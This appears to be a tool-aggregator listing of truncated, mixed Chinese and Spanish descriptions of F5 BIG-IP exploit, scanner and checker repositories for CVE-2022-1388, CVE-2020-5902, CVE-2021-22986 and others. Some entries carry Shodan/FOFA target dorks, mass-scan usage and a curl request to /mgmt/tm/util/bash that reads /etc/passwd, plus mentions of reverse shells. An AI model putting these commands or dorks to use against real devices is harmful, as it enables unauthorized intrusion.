f5-waf-quick-patch-cve-2021-44228

f5-waf-quick-patch-CVE-2021-44228 F5 Networks Advanced WAF/ASM Quick Patch CVE 2021-44228. 概述 该工具连接到BIG-IP设备，创建一个名为CVE-2021-4428的自定义签名集，并将其应用于所有策略的阻塞模式。它还会强制执行所有签名并应用更改。该工具已在BIG-IP ASM v15.x上测试，但我认为它应该适用于v13.x/v14.x/v16.x。 警告：此过程可能会在运行时增加控制平面上的CPU和内存使用率。 工作原理 该工具利用BIG-IP iControl REST...

F5-BigIP-CVE-2022-1388

F5-BigIP-CVE-2022-1388 Reverse Shell para CVE-2022-1388 Descarga y Uso git clone https://github.com/qusaialhaddad/F5-BigIP-CVE-2022-1388.git cd F5-BigIP-CVE-2022-1388 chmod +x Exploit-F5-BigIP-CVE-2022-1388.py python3 Exploit-F5-BigIP-CVE-2022-1388.py -t BigIP-IPAddress:Port -c "tmsh show sys...

CVE-2020-5902

CVE-2020-5902 Auto exploit RCE CVE-2020-5902 F5 BIG-IP RCE + READ FILE Dorks : http.title:"BIG-IP®- Redirect" Using shodan.io...

refreshing-mcp-tool

Esto no está realmente terminado ni listo aún, pero quería dejar el código subido al repositorio. Esto básicamente implementa el protocolo de base de datos de F5, «mcp», que opera a través de un socket de dominio UNIX. Eso significa que necesitas un shell en el dispositivo F5 antes de poder usar...

refresh

Refresh 此容器模拟了F5路由器中CVE-2022-1388的易受攻击功能，允许远程代码执行（RCE）。 CVE-202201388源于不同认证机制和代理（broxying）之间复杂的关系，该代理剥离了头部信息，导致对webapp中管理员端点的非授权访问。 竞争者必须使用他们的机器人发送一个利用此漏洞的web请求。 构建 root@kitploit: docker build -t refresh . 运行 root@kitploit: docker run -p 80:80 refresh 利用 root@kitploit: python3 exploit.py -u...

CVE-2021-22986

CVE-2021-22986 F5 BIG-IP/BIG-IQ iControl Rest API SSRF a RCE Uso: root@kitploit: python CVE-2021-22986.py...

CVE-2021-22986

CVE-2021-22986 此漏洞允许未经过身份验证的攻击者通过网络访问iControl REST接口（通过BIG-IP管理接口和自IP地址），执行任意系统命令、创建或删除文件以及禁用服务。此漏洞仅能通过控制平面利用，无法通过数据平面利用。利用该漏洞可能导致系统完全沦陷。Appliance模式下的BIG-IP系统同样受影响。 受影响产品 F5 BIG-IQ 6.0.0-6.1.0 F5 BIG-IQ 7.0.0-7.0.0.1 F5 BIG-IQ 7.1.0-7.1.0.2 F5 BIG-IP 12.1.0-12.1.5.2 F5 BIG-IP 13.1.0-13.1.3.5 F5...

CVE-2022-1388

CVE-2022-1388 影响 此漏洞可能允许未经身份验证的攻击者通过网络访问BIG-IP系统的管理端口和/或自IP地址，执行任意系统命令、创建或删除文件或禁用服务。不存在数据平面暴露；这仅是一个控制平面问题。 使用 root@kitploit: ./CVE-2022-1388.sh 受影响的产品 F5 BIG-IP 16.1.0 - 16.1.2 F5 BIG-IP 15.1.0 - 15.1.5 F5 BIG-IP 14.1.0 - 14.1.4 F5 BIG-IP 13.1.0 - 13.1.4 F5 BIG-IP 12.1.0 - 12.1.6 （将不会修复） F5 BIG-I...

f5scan

f5scan Escáner F5 BIG IP para CVE-2020-5902 por bt0 Más información sobre la vulnerabilidad: https://support.f5.com/csp/article/K52145254?sf235665517=1 Requisitos: python3+ shodan colorama urlopen pyOpenSSL $ pip3 install -r requirements Opciones root@kitploit: -h, --help muestra este mensaje de...

checker-CVE-2020-5902

Verificador CVE-2020-5902 El Verificador CVE-2020-5902: Las versiones de BIG-IP 15.0.0 a 15.1.0.3, 14.1.0 a 14.1.2.5, 13.1.0 a 13.1.3.3, 12.1.0 a 12.1.5.1, y 11.6.1 a 11.6.5.1 sufren de vulnerabilidades de lectura de archivos arbitraria y ejecución de comandos en la Interfaz de Usuario de Gestión...

CVE-2022-1388-checker

CVE-2022-1388-checker Simple script realizado en bash, para revisión de múltiples hosts para CVE-2022-1388 F5. + Uso: ./CVE-2022-1388.sh hosts.txt Referencias https://support.f5.com/csp/article/K23605346 https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html...

CVE-2023-46747-RCE

Detalles de la vulnerabilidad fofa： root@kitploit: title="BIG-IP" || iconhash="-335242539" shodan root@kitploit: title:"BIG-IP" Versiones afectadas https://my.f5.com/manage/s/article/K000137353 Recurrencia de la vulnerabilidad 1. En este momento, el usuario aquí es solo admin: 2. Ejecutar el...

CVE-2022-1388-POC

CVE-2022-1388 Poc por PsychoSec POC mejorado para CVE-2022-1388 que afecta a múltiples productos F5. Esta es una versión mejorada de la Prueba de Concepto de Horizon3 para CVE-2022-1388: https://github.com/horizon3ai/CVE-2022-1388 Esta versión contiene múltiples mejoras, así como un shell...

f5_scanner

f5scanner F5批量扫描器和CVE-2020-5902检查器 此工具是一个硬编码30线程的大规模扫描器，请谨慎使用 如何设置 root@kitploit: $ python3 -m venv venv $ source venv/bin/activate $ python3 -m pip install -r requirements.txt 如何运行 单个IP python3 f5scanner.py --ip 192.168.1.1 CIDR python3 f5scanner.py --cidr 192.168.0.0/24 文件 文件应为每行一个单一IP地址，例如：...

F5-BIG-IP-Remote-Code-Execution-Vulnerability-CVE-2022-1388-A-Case-Study

此存储库没有 README。...

CVE-2022-1388

CVE-2022-1388 Existe una vulnerabilidad de ejecución remota de código en la funcionalidad de la API REST de iControl del producto F5 BIG-IP. Un atacante remoto no autenticado puede explotar esto para eludir la autenticación y ejecutar comandos arbitrarios con privilegios de root. USO python3...

CVE-2022-1388-RCE-checker-and-POC-Exploit

CVE-2022-1388 RCE 检测工具 简单的 bash 脚本，用于检查 CVE-2022-1388 RCE（F5 BIG-IP）。 + 用法：./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC 利用 不要忘记更改 IP 地址 root@kitploit: curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat /etc/passwd'" -H "Connection: keep-alive,...

CVE-2025-31644

CVE-2025-31644: Inyección de Comandos en Appliance mode en F5 BIG-IP El parámetro “file” del comando “save” es vulnerable a un ataque de inyección de comandos, permitiendo que un atacante autenticado con privilegios de administrador a la API web “/mgmt” o al shell SSH “tmsh”, obtenga ejecución...

CVE-2020-5902

CVE-2020-5902 Exploit PoC de BIG-IP CVE-2020-5902 y escaneo automatizado de vulnerabilidades Programa sencillo para explotar BIG-IP y automatizar el escaneo de vulnerabilidades Instalación gem install httparty gem install colorize gem install timeout ruby big-ip.rb list.txt output.txt...

tippa-my-tongue

Tippa My Tongue Tippa My Tongue es un exploit que utiliza CVE-2022-1388 y CVE-2022-41800 para establecer un shell inverso root en productos F5 BIG-IP. La mayoría de los exploits para CVE-2022-1388 logran la ejecución de código usando /mgmt/tm/util/bash. Sin embargo, este exploit usa...